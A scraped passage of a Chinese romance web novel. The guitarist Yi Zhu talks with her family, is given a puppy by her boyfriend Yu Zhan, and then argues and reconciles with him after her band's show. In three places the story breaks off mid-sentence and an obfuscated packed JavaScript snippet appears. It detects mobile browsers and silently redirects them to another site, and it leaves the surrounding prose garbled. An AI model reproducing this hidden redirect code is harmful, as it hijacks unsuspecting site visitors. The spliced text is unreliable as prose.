“妈妈说你这个月又给我寄零花钱了。”伊芮在那头继续说,“姐姐,我不怎么花钱的。自己赚的钱自己花,你现在要用到钱的地方很多,我也觉得妈妈说得很对,你得存钱买房买车。” 伊竺坐到玄关的穿鞋凳上,笑道:“我赚钱不给你们花,还能给谁花?伊芮,我发现你也挺没良心的,你现在生着病,要用钱的地方多了去了,什么叫不怎么花钱?你也不用担心我,好好学习就行,药要按时吃,每天给腿部按摩的任务也不要忘记了,知道吗?爸爸妈妈工作很辛苦,能不劳烦他们的事,我们都要自己做,知道吗?” 伊芮在那头吐了吐舌头,调皮道:“你说的这些我都有在做的啦,我还交到了几个新朋友,她们都没把我当残疾人,经常拉我去操场运动,虽然有时候她们也没把我当人看。” 伊竺并非一点网都不上,她知道伊芮说的这个梗。但想来她是真的觉得开心,才会如此轻松地说出这些话。 “那真是恭喜你了。” “姐姐,那你交朋友了吗?” 伊竺:“……这问题是爸妈让你问的吧。” 那头寂静一瞬,突然传出惊呼:“都说了,找个合适的时机再问,你看看,咱们家小猪这么聪明,一下就猜出你的心思来了?” 伊女士刻意压低声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969783|193434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音:“我这不是着急嘛。隔壁晓东家那丫头都订婚了,你是没看到她那天送请帖时摆出来那副耀武扬威的样子,我真想朝她那个硅胶假鼻子上打一拳!咱们家女儿各方面都很优秀,学历好,样貌好……就是年纪不小了,在感情的事上一直不开窍。” “你这么想让你女儿嫁出去?” “……仔细一想,其实也不是很想。” “那就闭牢你的嘴,小心她一言不合就嫁出去了。” “……” 伊芮到了一个安静的地方,犹豫了许久才出声:“姐姐,别怪我多嘴,你和……之前那个哥哥还有联系吗?” 哪个哥哥?伊竺还在想着伊芮口中的哥哥是哪位,她都不记得自己有带伊芮见过哪个哥哥,但下瞬,她的脑海里就跳出了一张早已模糊的脸庞。 时间过去挺久了,久到她都快忘了那人的长相,只记得那双清亮的眼睛总喜欢盯着她看。 他说过,他喜欢看她跳舞。但伊竺不喜欢跳舞。只要穿上舞鞋和裙子,她就成了提线木偶,像只穿着艳丽、靠卖艺赚钱的小丑,但他却告诉伊竺,她是橱柜里最美、最明媚的舞娘。 那是她最不愿意回忆起来的过往。 “多嘴。”伊竺不想继续这个话题。 伊芮在那头也不说话。 但很快,她又鼓起勇气再次开口:“姐姐,其实你在临隙读大学的时候,那个哥哥……他来找过我。” 伊竺的视线落在虚空处,没有焦点。是嘛?那他还真是锲而不舍啊。她都朝他丢下那么难听的话了,他还想着找她呢。 “他说他想亲口听你提。” 原来是嫌她在线上提出分手不够正式,那他更不应该再找她的。他以为她是什么见一面就说不出呛话的人吗? 他果真还是这么自以为是,以为自己足够了解她。 伊芮:“他好像很喜欢你,姐姐。” 伊竺:“小屁孩,你懂什么是喜欢吗,你就说?” 伊芮:“我当然懂!我们班有很多人早恋,我有个朋友也有喜欢的人,她跟我说,喜欢就是每天都想见到他……” 伊竺:“你那都是小孩子过家家的把戏。” 伊芮:“才不是!” 伊竺:“作业写完了吗你,还有空在这跟我犟。” 伊芮:“……” 伊竺刚想挂电话,那头又突然大喊一声:“反正喜欢一个人的眼神就是很明显!我看得出来!” 伊竺:“好了,我知道,你最厉害了,行不行啊?” 伊芮:“现在是讨论厉不厉害的时候吗?我在告诉你,你要错过一个喜欢你的人了!” 伊竺:“那又如何,都过去了。” 伊芮:“怎么就过去了。我看那个哥哥就没过去,我前……” 伊竺:“你前什么前,我现在就正式地通知你,你!姐!我!有!对!象!” 伊芮:“啊!爸爸妈妈,姐姐说她恋爱啦!” 伊女士:“什么?哪时候的事啊!” “到底是哪头猪拱了我的女儿啊!” 伊竺知道伊芮的目的就是这个,她弯弯绕绕这么久,就是为了打探她的感情状况。反正她也没想瞒着家里人,于是便大大方方地跟他们说了她知道的、关于喻湛的所有消息。 安静了许久,伊女士突然开始分析:“学历倒是匹配,工作找的也挺好,能在黎映买房说明家里应该有钱,有车这点要加分,以后能接你上下班……呃呃,还有什么来着?” 伊竺:“没了。” 伊女士:“没了?你对男方的了解就只有这些吗?” “又不是结婚。” “那也不能什么都不了解啊!” “你们还想知道什么?” “性格,家庭……等等呢?” 伊竺:“性格还行,家庭应该和睦。” “……” 伊女士沉默了好一会儿后,才妥协道:“行了,先处着吧,要实在不行,也别强留着……” 伊竺想起喻湛方才那欠揍的模样,笑了笑:“知道了。” 伊女士在那头又叮嘱了几句,挂断电话。 伊竺看了眼时间,才三点半。 她在家也无事可做,决定先去青旅看看现场有没有什么可以帮忙的,如果还有时间剩下,她再熟悉一下乐谱。 伊竺拿好吉他和乐谱,路过厨房时,瞧见了喻湛喝过的那个杯子,他不知何时已经清洗干净了,并和她的那个一起,整齐地摆在了中岛台上。 她只看了一眼,便快步走到玄关处换鞋。 打开门,却看到了他说的惊喜。 他果真有病,就跟今日这场来去匆匆的雨一样扯得要命。伊竺在心里想。 4. 一颗甜枣 在看到喻湛的惊喜之前,伊竺觉得,什么惊喜不惊喜的,她都不是很在意。她以为自己跟喻湛说的已经够清楚了,她在意的是他从来不看自己的演出。 但……所有的一切,好像都超出了她的预期。包括她在看到这个惊喜时,内心所爆出的那份巨大的喜悦。 伊竺在12岁之后,就再也没有收到过礼物了。 “12”这个数字对她来说,是极其煎熬的。 在她12岁生日那天,她的月考数学卷子也发下来了,上面打着个鲜红的“12”。也正是她12岁生日的那天,她的亲生父母离婚了,父亲一蹶不振,喝酒后耍着酒疯,打了襁褓中的妹妹,其中有伊竺为她承担的12下。为了赚钱养家,她永远记得自己穿着超短裙和舞鞋,在酒吧的橱窗里忍着他人肆无忌惮且油腻的目光,跳了12次的舞…… 于这样的她而言,好像没有什么东西算得上是惊喜了。 直到…… 直到那个鲜活的生命跳进了她的怀里。 伊竺不知道喻湛是怎么做到在如此短的时间内买了只狗给她送过来的,也不知道他是如何知晓自己喜欢小狗的。她揉了揉怀里小狗的脑袋,提着喻湛买的全封闭式狗窝又回到家里。 她从前没养过狗,如今家里突然多了个小生命,倒还真有些手足无措起来了。她连这只狗的品种也不知道,跟它大眼瞪小眼看了许久,直接拍了张照片,发去某红书求助网友。 网友果然见多识广,没过几秒伊竺就从他们那得知了这是一只香槟泰迪熊,品相好,毛色纯,一看就花了不少钱。伊竺看到这条评论时,心一惊,喻湛这次好像真破费了。 她从来不是个扭捏的人,得了人家的好处,她就会主动去找。于是她打开手机,翻到了和喻湛的通讯界面。 :你到家没? 哼哼大王:到啦到啦! :那就行。 哼哼大王:你在担心我吗? :你做梦。 哼哼大王:…… :下次记得把拖鞋还给我。 哼哼大王:? :我爸来了还得穿。 哼哼大王:…… 哼哼大王:真有你的。 哼哼大王:我下次买双新的给你。 :[哀家听到了.JPG] 伊竺抠着指甲,已经想不出要继续跟喻湛说些什么了。她知道自己要感谢他,但话到了嘴边又说不出口。 伊竺觉得头疼,索性将手机扔到一边,抱起喻湛送来的小狗亲了几口。还没腻歪够,手机里就跳出了新消息。 哼哼大王:等等,下次?小的还有机会去你家? :你准备把狗送到哀家这来就不打算管了吗? 哼哼大王:哼哼!我就知道你会喜欢。 :难得你肯为哀家花心思,哀家很欣慰。 哼哼大王:那你可千万要把我们家小美养明白了。 :小美?这么土的名字,难道是你起的? 哼哼大王:…… 哼哼大王:你有文化,你来起。 :哦,反正是你的狗,你爱怎么起就怎么起。就算她叫二狗,叫狗蛋,我也懒得管。 哼哼大王:但她现在是你的了。 哼哼大王:你有权给她选个心仪的名字。 伊竺指尖一顿,竟一时不知如何回复。 但下瞬,喻湛又抖机灵似地给她发来消息。 哼哼大王:好好养,把她养明白,你就知道我有多好哄了。 :神经。 :谁想哄你。 哼哼大王:呵呵,我比你想象的要更了解你。 :别太自以为是了,喻湛。 哼哼大王:我哪里自以为是了。你现在心里在想什么,你自己清楚。我都稀的点你。 :? :你说什么! 哼哼大王:我说我才没有自以为是。 :我劝你再好好想想,你现在该说什么。 哼哼大王:…… 哼哼大王:哎呀,我知道啦! :[这才像话.JPG] :[注意你说话的态度.JPG] :[哀家劝你谨言慎行.JPG] 伊竺给他扔去连续的表情包暴击后,就直接退出了聊天框,不想跟他说话了。她抱着胳膊坐在小美面前,依旧跟她大眼瞪着小眼。 “听到没?他就给你取了这么个名字,土得要死,你真的甘心吗?”伊竺又捡起手机,苦恼地开始在网上找养狗教程,“我该怎么养你?” 小美只是睁着水汪汪的大眼睛盯她。 “我暂时不知道怎么养你,要不先给你换个名字?”伊竺索性放下手机,摸摸小美的毛发,“叫你安康怎么样?你这么小一只,看上去有点营养不良,我祝你平安康健。” 安康扑过来咬住她的裤脚,尾巴直摇。 “你也觉得我起的好听,对吧?” 安康汪汪叫着,伊竺满意地扬起唇角。 手机不合时宜地跳出“叮咚”一声。 哼哼大王:伊竺,你老对我这么凶…… 神经。到底是谁惯的他。 伊竺懒得理他,关掉手机,又看向安康。 “安康,他说错了,你比他好哄太多。等过几天他来了,你得好好配合我,咱们一起给他个无地自容的反击怎么样?” 安康兴奋地绕着伊竺转,伊竺心情舒畅了些,一把将她捞进了怀里:“那我先走喽,你自己在家里要乖乖的哦。” 伊竺安顿好了安康后,才急匆匆地赶去青旅。 . 现场还在紧锣密鼓地布置之中,伊竺本想帮忙,但还没插上手,就被队长大褚拉去了化妆间。 他很看重这次的演出,前几天他曾拉下脸面去找了好几个品牌方请求赞助,品牌方也不是所谓的善茬,当即给他们乐队提出了一个要求,就是能在这次演出中收获更多的粉丝。 为了演出顺利进行,他们将演出地点定在了滨海路的青旅,这个地方他们熟悉,平时就在这里排练,场地大,能容下大量的观众。不仅如此,他们还倒贴钱去拍了大海报宣传照。 当时伊竺还在外地出差,恰巧碰上周末,乐队其余几人便坐着红眼航班跑来找她,辛辛苦苦照完几张满意的团体照后,又坐着红眼航班回去了。伊竺是个什么事都要做到完美的人,她也不想拖后腿,于是即使在出差,她也会抽空熟悉乐谱。 大褚为了这次演出,是真豁出去了,他甚至还请了专业的化妆团队。伊竺作为乐队门面,必须漂漂亮亮地站在观众面前。他常说伊竺就是他们乐队的秘密武器,可塑性极强,只要稍微一改造,就能靠脸杀遍全场。 伊竺都快听怕了,站在一旁,脸上却依旧面无表情。 她被大褚摁在化妆镜前,很快就有老师提着化妆箱过来。他看了伊竺许久,直道她的底子极好。大褚乐了,问他说有没有可能将伊竺改造得又酷又飒,又有活力? 化妆师有些为难,酷飒能行,她这一副冷脸倒是适合。但她怎么看都不像是个有活力的,这种内在性格他可改造不了。 大褚乐呵呵地笑道,也行也行。 化妆师开始在伊竺脸上涂涂画画。 伊竺很少化妆,即便是上班,需要保持一个好气色,她也只是抹个素颜霜,涂下口红就出门了。她懒得做这些事,觉得应该把时间花在有用的事上。 之前读研时,和暮和沈笑就已经讨伐过她了,说她就是仗着皮肤底子好,可以为所欲为。 伊竺虽听了有些难为情,但不置可否,只能笑着应“是”。 沈笑直道气炸了,这根本不是人能说出来的话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969784|193434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 伊竺笑了笑,只说她就是炸成球,这事儿也没法改变。 和暮和沈笑当即无语住了。 现在想来,自己当初说的话确实挺欠揍的,她们能忍着没打她,也是她的福气了。伊竺没忍住勾唇轻笑。 化妆师顿了顿,在她唇上落空的那处又添上一笔。 . 伊竺从前跟队员排练时,对这个青旅到底有多大是一点概念也没有的。直到现在布置好了现场,她站在舞台中央,望着底下一览无余的观众席,心中第一次有了几分实感。 想来也没错。 喻湛当初带她来这间旅馆的时候就跟她说过,这块地的前主人觉得位置太偏,所以直接将三间并成一间卖给他了。 伊竺那时只顾着感叹喻湛可真有钱,房子说买就能买了。她跟在喻湛身后逛了一圈,他甚至还说了以后要是无处可去,也可以来这住,他可以给她打折,伊竺嫌他脑子残疾,白他一眼就走了,根本没把注意力放在空间大小上面。 离演出开始还有最后五分钟,观众已基本入场。 伊竺和其余队员一起站在舞台侧边的幕布后,瞧着底下乌泱泱的一片人群感叹得说不出话来。 大褚显然很激动:“好多人呀!” 伊竺被他感染,脸上也难得流出几分兴奋和激动。她下意识地瞧了眼某个位置,那处果真没人。伊竺依旧记得自己方才将那张卡片塞进他怀里时,他所露出的表情。有为难,有纠结……无数复杂情绪在他眼底交织,但最后他只是轻快地吐出一口气,说他真没空。他还真是坦诚啊,说不来就不来。 果然不能对他有一点期待。 伊竺收回视线,不来就不来吧,她还有很多喜欢她的人,根本不差他那一个。她闭上眼,缓缓沉出一口气来,在冰冷的倒计时完成后,随着乐队队员一起上了台。 . 喻湛赶到青旅的时候,乐队演出已经快接近尾声了。 伊竺说的没错,他家确实挺有钱的。他在家里排行老大,按照道理来说,本应该继承家族企业,并发扬光大,但奈何他实在没有经商的想法。父母怕他日后堕落,会不思进取,就给他买了这块地好让他有个傍身。 这家青旅是他和爸妈商量后才开的,起初是为了给来黎映出差的工作党图个方便,后来莫名其妙就变成了伊竺乐队排练演出的场地。他对外收费低,所以乐意来住的人很多。而且大多数都是过来旅游的小年轻,热烈恣意,爱玩得很,他们也很享受乐队演奏的氛围,所以吃完饭后一有空,就喜欢坐在一楼休闲区看伊竺乐队的排练。 这也算是给伊竺他们招来了些许关注度。 旅馆就开在黎映理工和黎映师范中间的那条街上。离他当初读研时的学校很近,离伊竺学校也很近。 喻湛站在门外,里面打击乐的声音断断续续地传来。气氛早已燃到了极点。他挑挑眉梢,突然想起今早伊竺邀请他时的冷硬语气,又记得伊竺塞给自己门票时的表情,再看看跟她不欢而散的自己此刻正想要踏上台阶的右腿,无奈地勾起唇角。 他必须承认,他根本没法拒绝伊竺,他其实也很好奇舞台上的伊竺会是什么样的。 算了,不管是狗是猪,只要伊竺开心,即便被她骂猪狗不如,他也认下了。 他推开门走了进去,正好看到伊竺最后的那段吉他solo。后排有人踮脚在录像,喻湛就默不作声地站到他身后。 照明灯的光晕碾过他褶皱的眉心,像一只调皮的、带着草屑一滚而归的皮球,双眼并不习惯这样的场所,被长得像草屑的灯芒猝不及防地刺了一下。他闭眼缓了缓,才通过那人摇晃的镜头,仔细去瞧在舞台上认真弹奏的伊竺。 灯光错综,耳旁嘲哳。 只有她在发光。 喻湛心想,伊竺啊,她简直就是为舞台而生的。 5. 一个巴掌 这次演出非常顺利。刚下舞台,乐队其余几人就围在一起盯着微博粉丝数的涨幅看。几个品牌方给出的最低限度是要达到100W粉,现在已经卡在了99.9W。 大褚抱着手机急得直跺脚:“快了快了!可一定要加把劲啊!为了这次演出,我们是把该做的不该做的全都做了。要再没法拉到赞助,那只能说明我们几个根本没有红的命了……” 伊竺今晚难得嗨爽,出了一身薄汗。她脱下外套,刚凑过去瞧了两眼,就听到大褚的哀叹。她最讨厌别人在事还没下定论之时,就说出消极扫兴的话。于是她从缝隙里扯出自己的帆布包,找到提前准备好的换洗衣物,独自去了二楼的淋浴间。 不听不听,王八念经。 她就从没觉得自己会红不起来。 伊竺今日出门实在匆忙,就带了一件黑色打底衫和一条长款皮裙,修身的款式,裙摆还开着叉。夜晚的黎映有风,楼道透着冷意,她从淋浴间出来后,又套上了演出时穿的那件酒红色短外套。 从二楼下来的楼梯上,她看到了一个模糊的身影。男人靠在转角的墙上,神色平静地看着她从面前经过,也不出声。倒是伊竺觉得这人眼熟,又退回到他面前,多看了几眼。 是喻湛。 他还真是做什么事都不声不响的。喜欢先溜嘴皮子,然后偷偷跑来找她,说他是来献殷勤的,他又没话说,心眼子多得让人害怕,简直坏得彻底。伊竺本来就没打算给他好脸色看,此刻稍昂脑袋,抬眸睨他。 像在无声地询问“你不是没空吗”。 喻湛的视线稳稳地落进她愠怒的眸里。 旅馆的二楼一直都没人住,伊竺也是经过喻湛同意后才开始上二楼洗澡。这里常年失修,灯光很暗,细小的粉尘构成一张朦胧的屏障,昏沉的暖光像女娲手中甩出的泥点,将他的脸庞衬得愈发清俊无瑕。 他看了她许久,不知想到什么,忽地扬唇笑起来:“伊竺,你可真厉害。” 说话没头没尾的。他到底是在夸她,还是在阴阳她? 他又说:“你今天好漂亮呀!” 神经。伊竺只觉得他脑子好像真有点毛病,于是冷硬地蹙起眉心,将旧饭热炒:“你不是没空吗?” 那还过来干什么!耍人很好玩吗? 这个坏蛋。 喻湛嘴角扬起的弧度却很大,像是很开心:“没空也得抽时间来看你的演出,不是吗?我都说了,时间可以挤的嘛。” 伊竺的脸色缓和了一些,但依旧在呛他:“那你下午还摆出那样的表情,不知道的以为是我要逼你来看。” “我摆什么表情了?” 伊竺回想了一下,给他描述:“犹豫,纠结,跟我欠了你几百万似的。” “伊竺,”他眉眼的笑意淡了,眼睫垂着,看上去有点可怜,“你一点儿都不懂我。” 伊竺还想说他一点儿都不在意自己呢,他这么讨厌,她说过的话,他根本记不住半句,现在倒恶人先告起状来了。 “我为什么会那样,你真的不知道吗?” 她该知道吗? 伊竺从来不跟别人交心,其实也不懂对每个人的了解程度要达到何种情况才是对的。她一概觉得,不是要深交的人,知道一些表层就足够了。至少于她看来,喻湛还只是被划分在比陌生人要重要一点的那类人里。 “你每次跟我说话都夹枪带棒的,语气这么冷,”他这会儿试图跟她讲道理,“我又不是机器人,没有感情,没有温度,我也会难过,会伤心……伊竺,我不是你男朋友了吗?” 这句话,在伊竺看来,还挺有意思的。 伊竺是在研三实习时和喻湛在一起的,现在他们都已经开始工作了。谈恋爱的这一年多时间里,他俩聊过的话题、见面的次数,一双手就能数得过来。 伊竺对此倒是无所谓,反而觉得这样的日子特别舒坦。她还理所当然地觉得,喻湛可能比她更没所谓,不然他怎么都不主动来找她说话的。所以他们就当着彼此的挂名对象,偶尔能聊上几句,但不出意外,这刚挑起的话题,总能被他俩的其中一个给聊死。 她从前赌气时,他都看不懂。所以他怄气时,她就故意冷他。在恋爱中,他俩除去会有必要交流的那几次,其余时间都在冷战。 说出来,她都怕别人可怜她,会觉得她是个彻头彻尾的恋爱脑。对象都这般不理人了,她还赖着不分手。 但伊竺从来都没把这当过一回事。她向来性子强硬,一点也不想让别人看到自己的笑话。所以,即使这份感情处在了破裂的边缘,她也没放在心上过。 她的字典里,就从来都没出现过失败这个词。 她不需要任何人的保护。她自己就可以。更何况爱情这东西对她来说,也没那么重要。 但明明是他已经决定了要将她摆着,不想跟她说话的,那他如今这样做出让人误会的举动,又是要干嘛。 伊竺发现自己根本看不清喻湛这人到底都想在她身上索取些什么,他明知道她什么也给不了他的。 “是我男朋友又怎么了?”伊竺回道。 又说这种话。喻湛发现伊竺根本软硬都不吃,简直难伺候,她才是这个世界上最难哄的人。 “是我男朋友就可以不理我了吗?是我男朋友就可以耍我了吗?是我男朋友就可以一而再再而三地拒绝我了吗?那我还说我不是你女朋友了吗?你怎么可以每次都拒绝我呢?我也会伤心,会难过,我也不是机器人,有自己的感情。” 这是喻湛第一次听见伊竺说这么多话,他当场愣在原地,眼睛眨了眨,甚至还有些好奇地想听更多。 “所以是我男朋友也不行。” 男朋友怎么了,惹她不爽,她照样可以一脚踢喽。 “我可不喜欢你用‘男朋友’这三个字来圈着我。” 谁说女人不能太要强,谁说女人只适合谈情说爱,谁说女人到了年纪就得嫁人,只有那些思想腐朽、封建愚蠢的人,才会觉得嫁对人就是衡量一个女人这一生是否成功的标准。 她早就受够了。 从她父母离婚那天开始,从她和妹妹因为是女孩,就被当做这场失败的婚姻的累赘开始,从她妈妈叫她照顾好妹妹等她来找自己开始,从她左等右等却没等来妈妈开始,从她被自己亲爸骂败家娘们开始,从她彻底死心的那刻开始,她就受够了这一切。 伊竺看着他,心底积压了许久的负面情绪,终于如火山喷发般炸了出来:“我不是个离了爱情就活不下去的傻子,也不是个会任人搓揉的软柿子。如果我说的这些话有冒犯到你,不好意思,我没觉得自己有错,我不会道歉。” “我就爱正面硬刚,讨厌矫揉造作,我觉得自己很好,哪都好,我不想、也永远不会牺牲自己去取悦别人,所以是我男朋友也不行。” 她这一生,可以精彩绝伦,也接受过得苍白无力,但绝不会让自己沦为爱情论和婚姻论这种扯蛋东西中那个极其可悲的牺牲品。 “我又不需要靠男人来证明自己。” 她有才华,有野心,有思想,有上进心,她不是个只会谈情说爱的美丽废物,也不是个会坐等男人发钱来花的空心花瓶。她之前就以“男人太麻烦,我根本不需要”的理由,甩掉过一个人。爱情并不是她人生中的必需品,她一直觉得,自我比任何事物都要来的重要。 伊竺花了点时间让自己冷静下来:“所以喻湛,你其实也没多了解我,不是吗?否则你怎么会不知道,我为什么总是对你提不起什么兴趣?” 提不起兴趣吗?那她可太坏了。喻湛朝她走近几步,双眸紧盯着她:“是因为我之前总不去看你演出吗?” 伊竺只是回视他,没说话。 “还是因为这一年时间,我很少顾及你,让你觉得,身边有没有我,已经没那么重要了?” 他在对上伊竺视线的那秒,就彻底明白了。原来她心底憋的那口气就是这个,她觉得自己忽视了她,那他是不是可以断定为曾经有段时间她也很在意他。 “如果是因为这个原因的话,我跟你道歉。”喻湛好像真的变了,今天态度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969785|193434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤其好,“去年刚上班,确实是平衡不好工作和感情,没法抽出太多精力来找你。” 伊竺发现他突然变得有些正经。 “让你觉得伤心难过,都是我的问题。” 伊竺眨了眨眼睛,突然有点词穷。一般这种时候,该说些什么轻松的话来活跃氛围?她绞尽脑汁得地想,最后憋出一句:“都已经过去很久了。” 她说这话,可真让人难过。 喻湛倒想听听,她还能说出什么话。 “而且我也没觉得伤心。” 哦,还是这句更让他难过。 喻湛觉得,他果然不能对伊竺的嘴抱有太大的期望,她没设想毒死他,就已经是相当仁慈了。 喻湛又朝伊竺靠近了几步,她一点也不退让,只是抱着胳膊站在原地,平静地瞧他,脸上满是一副谅他也不敢做出什么逾矩之事的表情。她还真是一如既往的淡定啊,不像他,整颗心都在为她剧烈地跳动着。 “伊竺。” 她脑袋歪向一侧,挑眉回:“干嘛?” “伊竺。”喻湛又朝她靠近一步。 身后就是一堵冰冷的墙,她其实也没处可退了。但她此刻却像拥有无数条退路那般硬气地倚然不动:“有事就快说。” 他终于走到她的面前,指尖在她的脸侧停顿了片刻,轻轻贴了上去,又喊了一声:“伊竺。” 他之前从未对自己做过这样的举动,她身子一僵,视线向下偏移,落在他正摩挲她脸颊的指尖上:“我让你说事儿。” 他只是用目光将她的脸庞描绘了一遍,然后才说:“我之前眼睛受过伤,看不见过一阵子,当时险些瞎掉。后来好不容易治回来,医生让我别再刺激它,不然容易复发。” 他不想瞎掉,他还没看够伊竺,他不想被她嫌弃是个瞎子。伊竺这么怕麻烦的人,到时候肯定不会带个瞎子在身边,他会被抛弃,每次一想到这个结局,他都觉得窒息。 他得好好保护自己的眼睛。他以为以后还有成千上万次的机会:“当时我是实在没法去看你的演出。” 也不对,他其实去过。 伊竺每次邀请完后,不管喻湛有没有答应,都会把票直接扔给他。他看得出来,她其实在意这件事。但当时他的眼睛刚复查完,医生说恢复得不错,以后会越来越好。他想着,不远的将来,他一定可以看到伊竺的每场演出。于是心情一好,他就偷偷去看过她。 但好像都不重要了,他也早已错过说出这些话的最佳时机。想必他说了这么多,伊竺听完之后,心中也有了自己的决判。他现在不求伊竺能够原谅他,只希望她能对自己表现出……一点点的怜惜。 伊竺闻言,只是蹙起眉心,喻湛的眼睛受过伤?她从来都没听说过这个消息。她的视线下意识地落在喻湛的眼睛上,仔细一看那里确实有一道挺长的伤疤。 她终于往前靠了半步,踮起脚,探出指尖,想去触摸他的伤疤。但转念一想,既然有万不得已的原因,那他之前为什么总喜欢用那些莫名其妙的理由来搪塞她? 伊竺瞬间清醒过来,收回手。保不齐又是他绞尽脑汁想出的阴招,她早就见识过了,为了让她消气,喻湛都使出过哪些破把戏。这个骗子,为了耍她,真的什么事都能干得出来。 “这些你之前都可以直接告诉我的,喻湛。” “告诉你了,你还会要我吗?” 伊竺觉得他的逻辑有些奇怪,他眼睛受伤跟她还要不要他,有什么必要的关联吗? “你怕麻烦,喜欢清静,讨厌被人打扰。若我今后不幸真的眼瞎了,对你来说,我就是个超级大麻烦,无敌拖油瓶,那到时候你还会要我吗?或者说,伊竺,你还会需要我吗?” 伊竺在心里想,她其实一点都不需要喻湛,喻湛对于她来说,根本一点用也没有,他本来就是个超级大麻烦,无敌拖油瓶,何须到他眼瞎的时候,但她现在不也要他了吗? 他问这话的意图昭然若揭,他在装可怜。 伊竺冷声道:“哦,我确实不太需要你。” 6. 一个巴掌 喻湛听及此,只觉得五雷轰顶。原本他也只是猜测,但听到伊竺说出这话后,他心里的某处还是轰然倒塌了。 她不需要他,那现在是嫌他多余了吗?难怪她会说出对他没有什么兴趣的话,他在她心里已经一点用处也没有了。 喻湛只觉得双眼变得不太清明,像被蒙了层薄雾,他有点看不清伊竺了,于是抬手擦了擦,但只是摸到一片湿泞,变得越发不清晰。他的视线在伊竺脸上慌张地探索着,心里哀痛着,怎么突然看不清了,医生不是说快好了吗?骗子!他要待在伊竺身边,他想被伊竺需要。 伊竺不想跟他较劲,准备一股脑地丢完最后一句话就离开,但还没来得及开口,她就瞧见一颗晶莹的水珠自喻湛的黑色衣襟前掉下,落在她的手背上。 紧接着,第二颗,第三颗……如同连绵细雨。 伊竺以为外头又下雨了,蹙着眉心抬起头,却没想直接陷进了喻湛湿润的眸里。 他……哭了?为什么要哭? 难道就因为她在他面前说出了自己不太需要他的话? 这……这真的对吗? 他之前似乎也没觉得“需要”这词有多重要吧? 而且他俩之间何时成了需不需要对方的这种关系? 他们没有任何感情基础,也不怎么交流……在伊竺看来,他们之间的关系跟普通朋友没什么区别。喻湛根本不了解伊竺,他自己也说了,伊竺也不懂他。更何况,他俩工作忙起来的时候,都没时间顾及对方。他们自己都有处理好各种问题的能力,也别谈什么需不需要了。 所有的事情,伊竺都可以自己解决。 她相信喻湛也是。 难道是她理解错了? 他说的是其他方面的需要? 伊竺觉得自己只要有钱就够了。 伊竺确实挺怕麻烦,她最见不得人哭,哄人这事对她来说,简直就是一场酷刑。她在脑中开始紧急地搜刮能够快速安慰人的话语,然而她这辈子除了她爸、她爷、她姥爷和老师外,都没怎么跟男人接触过。 她心想,喻湛哭得也太不是时候了。他为什么不等她说完那句话且已经离开之后在自己躲起来哭呢。 伊竺有些懊恼,她刚才不应该留这么大个空去观察他的脸色,反正结果都那样。 应该也不会有比惹他哭更糟糕的结局了……吧? 她咬了咬下唇,算了,豁出去了。她没那么坏,并非一丁点儿都不懂得怜惜。于是踮起脚,指尖划过他的眼尾,触碰到他的伤疤,但语气依旧冷硬:“别哭,你有什么可哭的。” 喻湛幽怨地看着她。 “喻湛,如果有一天你真的瞎了,我不会直接扔掉你,至少也要等到你伤好。” 他依旧安静地落着泪。伊竺本以为他是因为她说的话才哭的,现在看来显然不只是这个原因。 还能是什么原因?伊竺只觉得太阳穴正突突跳着:“你别哭了,眼睛受伤了就去治,我如果有时间,可以陪你一起。” 如今他已经明牌了。他让伊竺知道了自己的弱点。 伊竺认真地瞧他,突然又说:“即使到了那种境地,我也不会不要你,喻湛。” 喻湛在原地怔了会儿,突然就觉得头脑变清醒了。他的心里不再下雨,连带着双眼也变得清明。 结果就听见她说:“你现在就已经够讨厌了,就算到时候再麻烦,也不过是需要我再多帮你点忙而已。” 又说这种话,她就不能盼着点他好吗?喻湛眼眶里再次聚起一团哀怨,他撇了撇嘴。 “你可以需要我,喻湛。我当你的眼睛。” 眼睛是他的弱点。她却说,她要当他的眼睛。她好像有点清楚这里面的关系,但不多。喻湛觉得,伊竺也是他的弱点,那她这话,跟直接点明“喻湛,你就是喜欢我”又有什么区别。 他有多喜欢伊竺,伊竺真的清楚吗? 伊竺还想说什么,喻湛却早已控制不住自己蠢蠢欲动的心,直接捕捉到她微张的唇瓣,俯身吻了上去。 伊竺双眸倏地睁大,手臂僵在半空中。她尝到了他眼泪的味道,正觉得咸得难受。他却反复吮吸着她的唇瓣,似是想从中汲取她的气息。伊竺抬高视线,正好对上了他情动的双眸,那里像两个巨大的黑洞,准备吸走她所有的理智。 不可以这样,怎么能这样,他怎么能不告诉她一声就擅自做出这样让她误会的举动? 他难道……喜欢她吗? 不喜欢的话,怎么可以亲她呢? 